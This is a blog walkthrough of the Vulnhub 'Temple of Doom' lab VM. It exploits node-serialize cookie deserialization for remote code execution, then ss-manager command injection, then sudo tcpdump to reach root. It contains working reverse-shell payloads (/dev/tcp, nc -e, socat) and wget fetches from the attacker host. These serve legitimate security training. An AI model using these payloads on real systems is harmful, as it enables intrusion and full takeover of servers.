Pentesting · Vulnhub

Temple of DOOM – Vulnhub Walkthrough

Machine link: https://www.vulnhub.com/entry/temple-of-doom-1,243/

This machine was made by 0katz(kudos to him!), it’s a boot2root and he rates it as being easy/intermediate.

He has also left a note stating there are 2 ways of getting root, so let’s reconsider the goal to be finding those 2 ways 🙂.

Shall we begin?

No, first try to solve it by yourself! Only check this if you feel stuck.

Table of Contents

After booting it up, we can see its IP.

temple_of_doom_loginscreen

Port Scanning

Let’s hit it up with nmap to check which ports are open:

root@kali:~/Vulnhub/TempleOfDoom# nmap -p- -sC -sV -sT -T5 -oN nmap.results -v 10.0.2.22

Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
| 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
| 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (EdDSA)
666/tcp open http Node.js Express framework
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

We see 2 ports open considering there’s not much we can do on 22 because that version of OpenSSH isn’t vulnerable, we’ll see what port 666 has to offer.

Finding the vulnerability

Accessing port 666 via the browser gave me this:

temple_of_doom_nodejs_1

I began checking the existence of the file robots.txt, to which the server replied with “Cannot GET /robots.txt”, after that I tried to brute force the web server with dirbuster to find some hidden file or folder until…

temple_of_doom_nodejs_2

I simply revisited the webroot and got this javascript stack trace!

Let’s pay close attention to it, first we see there’s a call to a function called unserialize.

Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)

According to OWASP Top 10 of 2017, insecure deserialization is the 8th vulnerability in its list so this sounds like a good candidate and we also see that the module in use is node-serialize.

Searching for node-serialize vulnerabilities on Google lead me to this awesome PDF:

temple_of_doom_vuln_pdf.png

Fixing the error

However, before exploiting it we need to first give it a fix. (Actually we don’t but why not, right? :), Feel free to skip this part )

Let’s intercept the request with Burp Suite and see what’s going on.

temple_of_doom_nodejs_3

We see a cookie that has a URL encoded base64 string on the key profile.

I assumed that the cookie was faulty, which would explain why we didn’t receive the error in the first request we made to the website.

And since it said that the website was under construction, it’s expected to have some bugs. (and even vulnerabilities 😉)

Time to decode the cookie and see the problem behind it, we can do this directly inside Burp, by selecting the whole cookie and right-clicking it:

temple_of_doom_nodejs_decode_cookie.png

Note: Remember that it is URL encoded, so we first URL decode and only then we Base64 decode it.

Giving us this:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

Take a look at the “Expires” key, it’s improperly formatted, its date should begin with a quote, looking more like this:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

Now if we re-send the request with that change, we receive a “Hello Admin”.

Understanding the vulnerability

Our clue is that the vulnerability lies in the deserialization, being that the web server unserializes our cookie, allowing us to even get remote code execution.

According to the previously mentioned article, we first write a script that will serialize our object:

var y = {
	rce : function() {
		console.log('hi');	
	}
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Oh and before that, we obviously install node-serialize with npm:

root@kali:~/Vulnhub/TempleOfDoom# npm install node-serialize

Run the little script:

root@kali:~/Vulnhub/TempleOfDoom# node serialize.js 
Serialized: 
{"rce":"_$ND_FUNC$_function () { \n\t\tconsole.log('hi');\t\n\t}"}

After this, we write a script that will unserialize this serialized object:

var serialize = require('node-serialize');
var payload = '{"rce":"_$ND_FUNC$_function () {console.log(\'hi\');}"}';
serialize.unserialize(payload);

Now running this we get:

root@kali:~/Vulnhub/TempleOfDoom# node unserialize.js 
root@kali:~/Vulnhub/TempleOfDoom#

Tada! Remote code exec… Ok, I’m kidding, you then need to add what’s called IIFE (aka self-executing anonymous function), which is a () at the end of the function, to make it automatically execute.

So change the payload string to:

'{"rce":"_$ND_FUNC$_function () {console.log(\'hi\');}()"}'

Notice the bold parentheses

And if we now execute:

root@kali:~/Vulnhub/TempleOfDoom# node unserialize.js 
hi

It indeed greets us!

Getting a shell

Our goal with this is to obviously try and get a reverse shell.

To achieve this, I found a pretty sweet script that lets us generate a node.js reverse shell payload, interestingly from the same guy of the article. (He’s quite a node.js-fu)

We now go ahead and generate the payload.

root@kali:~/Utils# python nodejsshell.py 10.0.2.15 1234
[+] LHOST = 10.0.2.15
[+] LPORT = 1234
[+] Encoding
eval(String.fromCharCode(...))

Copy and paste it into right inside the function we had:

'{"rce":"_$ND_FUNC$_function () { HERE }()"}'

Before running it, we need to initiate a TCP listener:

root@kali:~/Utils# nc -vlp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

If we now execute it…

root@kali:~/Vulnhub/TempleOfDoom# node unserialize.js
Ncat: Connection from 10.0.2.15.
Ncat: Connection from 10.0.2.15:39852.
Connected!

Great! We just spawned a shell locally, time to hit the web server with this.

We just need to take the crafted payload, place it into the profile cookie on Burp, then CTRL+B to Base64 encode and CTRL+U to URL encode.

root@kali:~/Utils# nc -vlp 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.0.2.22.
Ncat: Connection from 10.0.2.22:41036.
Connected!
whoami
nodeadmin

We’re on it now!

Spawning a fully-interactive shell

I always like to escalate to a fully-tty shell, so let’s begin with it.

My method revolves around socat, I make an http folder, drop socat into it and run:

root@kali:~/Vulnhub/TempleOfDoom/http# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Now on the shell, I type this to get the socat into the remote machine:

cd /tmp; wget http://10.0.2.15:8000/socat; chmod +x socat

Setup a listener in my machine:

root@kali:~/Vulnhub/TempleOfDoom# socat file:`tty`,raw,echo=0 tcp-listen:4444

And execute socat on the remote as well:

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.2.15:4444

Oh and also to correct the terminal size:

stty rows 50 cols 132

Now we’re ready to rock n’ roll.

Privilege escalation to another user

Our user can’t do much, sadly.

As usual, let’s run LinEnum.sh to see what we can get.

Transfer it to the box by doing so:

root@kali:~/Vulnhub/TempleOfDoom/http# ls
LinEnum.sh
root@kali:~/Vulnhub/TempleOfDoom/http# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Then on the machine:

cd /tmp; wget http://10.0.2.15:8000/LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh

We then notice that there’s something unusual in the running processes…

root       822  0.0  0.4 301464  4488 ?        S    23:21   0:00 su fireman -c /usr/local/bin/ss-manager

Googling it up shows that it’s a lightweight SOCKS5 proxy.

And if we search for exploits on it, we stumble upon this one.

Give it a shot, connect to 127.0.0.1 on UDP port 8839:

nc -u 127.0.0.1 8839

Then send the payload.

add: {"server_port":8003, "password":"test", "method":"||touch /tmp/did_it_work||"}

We receive a “ok” message and it worked! (You can check that it worked but you will have to kill the shell, restart the machine and re-send the node.js request)

Now we need to spawn a reverse shell from here, start a listener on our side:

root@kali:~/Vulnhub/TempleOfDoom/http# nc -vlp 9090
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090

And the payload is:

add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/10.0.2.15/9090 0>&1||"}
Ncat: Connection from 10.0.2.22.
Ncat: Connection from 10.0.2.22:48026.
bash: cannot set terminal process group (848): Inappropriate ioctl for device
bash: no job control in this shell
[fireman@localhost root]$

Yay! Evolution successful.

Privilege escalation to root

As you can see that we don’t actually have the privilege to do anything inside /root.

[fireman@localhost root]$ ls
ls
ls: cannot open directory '.': Permission denied

And I noticed this:

[fireman@localhost root]$ sudo -l
sudo -l
[...]

User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump

After hunting for “executing commands” in each of these tools, I stumbled upon this SecLists thread.

According to it, we should be able to execute a script from tcpdump, let’s try that.

Once again, start a listener on our side:

root@kali:~/Vulnhub/TempleOfDoom/http# nc -vlp 6565
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6565
Ncat: Listening on 0.0.0.0:6565

Then create the script and run tcpdump:

[fireman@localhost root]$ cd /tmp
cd /tmp
[fireman@localhost tmp]$ echo "nc -e /bin/bash 10.0.2.15 6565" > script.sh
echo "/bin/sh" > script.sh
[fireman@localhost tmp]$ chmod +x script.sh
chmod +x script.sh
[fireman@localhost tmp]$ sudo tcpdump -w dump -W 1 -G 1 -z ./script.sh
sudo tcpdump -w dump -W 1 -G 1 -z ./script.sh
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
5 packets received by filter
0 packets dropped by kernel

Note: After failing with the command of SecLists, I looked through the manual of tcpdump and noticed the -W argument.

And look! We got a shell.

Ncat: Connection from 10.0.2.22.
Ncat: Connection from 10.0.2.22:34164.
id
uid=72(tcpdump) gid=72(tcpdump) groups=72(tcpdump)

But apparently, tcpdump has dropped our privileges…

Since I was pretty convinced that this was one of the routes to root, I decided to call my google-fu skills once again on the battlefield.

This link shows how to drop privileges to another user using the “-Z user” argument, but maybe we can “drop” into root?

Guess it’s worth a shot.

Restart the Ncat server and:

[fireman@localhost tmp]$ sudo tcpdump -w dump -W 1 -G 1 -z ./script.sh -Z root
<do tcpdump -w dump -W 1 -G 1 -z ./script.sh -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
5 packets received by filter
0 packets dropped by kernel
root@kali:~/Vulnhub/TempleOfDoom/http# nc -vlp 6565
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6565
Ncat: Listening on 0.0.0.0:6565
Ncat: Connection from 10.0.2.22.
Ncat: Connection from 10.0.2.22:34176.
id
uid=0(root) gid=0(root) groups=0(root)

Yupi!

Now it’s time to get our reward…

cd /root
ls
flag.txt
cat flag.txt
[+] You're a soldier. 
[+] One of the best that the world could set against
[+] the demonic invasion.  

+-----------------------------------------------------------------------------+
| |       |\                                           -~ /     \  /          |
|~~__     | \                                         | \/       /\          /|
|    --   |  \                                        | / \    /    \     /   |
|      |~_|   \                                   \___|/    \/         /      |
|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
|  __--P :  |  /                                /  /  | \     /  \          /\|
|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
|    |      |/                        .-.             |  /\          \  /     |
|    |      /                        |   |            |/   \          /\      |
|    |     /                        |     |            -_   \       /    \    |
+-----------------------------------------------------------------------------+
|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
+-----------------------------------------------------------------------------+
			
		FLAG: kre0cu4jl4rzjicpo1i7z5l1     

[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.

[+] You can follow me on twitter: @0katz

[+] Thanks to the homie: @Pink_P4nther

Sadly I still haven’t been able to find the other way to get root…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s